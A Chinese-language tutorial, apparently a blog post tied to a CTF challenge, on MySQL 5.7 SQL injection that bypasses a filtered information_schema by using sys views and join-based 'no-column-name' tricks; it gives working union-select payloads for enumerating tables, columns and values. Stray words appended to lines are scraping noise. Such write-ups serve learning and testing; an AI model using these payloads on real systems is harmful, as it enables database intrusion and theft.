又是沒有夢想的一天。。。這裏介紹一下無列名注入,要求mysql >= 5.7html
CTF題 https://www.cnblogs.com/Lee-404/p/12830910.htmlmysql
在 mysql => 5 的版本中存在庫information_schema,記錄着mysql中全部表的結構,一般,在mysql sqli中,咱們會經過此庫中的表去獲取其餘表的結構,即表名,列名等。可是這個庫也會常常被WAF過濾。sql
新建一個庫,裏邊有兩張表數據庫
咱們都知道,通常注入咱們都是在infromation_schema這個庫裏獲取咱們須要的post
猜數據庫 性能
select schema_name from information_schema.schemata
猜某庫的數據表測試
select table_name from information_schema.tables where table_schema='數據庫名'
猜某表的全部列spa
Select column_name from information_schema.columns where table_name='數據表名'
獲取某列的內容設計
Select 字段名 from 數據表
這是咱們通常的注入流程,但當information_schema被過濾,mysql又是5.7時,咱們能夠利用sys庫來獲取信息3d
先了解一下比較重要的視圖
sys.schema_auto_increment_columns
在設計表中,通常會給一些字段添加自增,若是是,那麼這個視圖下保存的就是那些有自增字段表的數據庫的信息
security是sqli-libs的數據庫,test庫中的test表是我本身建的,其中id字段爲自增,能夠在不使用information_schema的狀況下讀取信息
select table_schema from sys.schema_auto_increment_columns; //查數據庫
select table_name from sys.schema_auto_increment_columns where table_schema = 'test'; //查表
和infromation_schema同樣的效果
schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer
當表不存在自增字段時能夠利用這兩個視圖查詢,在user表中我沒設自增字段
固然還有其餘的視圖能夠,具體利用方法和上述差很少
通過上述的,彷佛只能獲得表名,沒有完整的字段名,也就是說,咱們沒法獲取字段值,這時候就能夠利用無列名注入,我這裏直接本地測試了(環境懶得搭,僞裝過濾了)
1.獲取字段數,用order by 或 group by
2.union聯合查詢
select * from user where id = -1 union all select 1,2,3,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database();
3.利用join獲取列名(join在CTF中常常使用的思路)
select * from user where id = -1 union all select * from (select * from user as a join user as b)as c;
4.獲取更多字段名和字段值
select * from user where id = -1 union all select*from (select * from user as a join user b using(id,username,passwd,phone))c;
https://www.anquanke.com/post/id/193512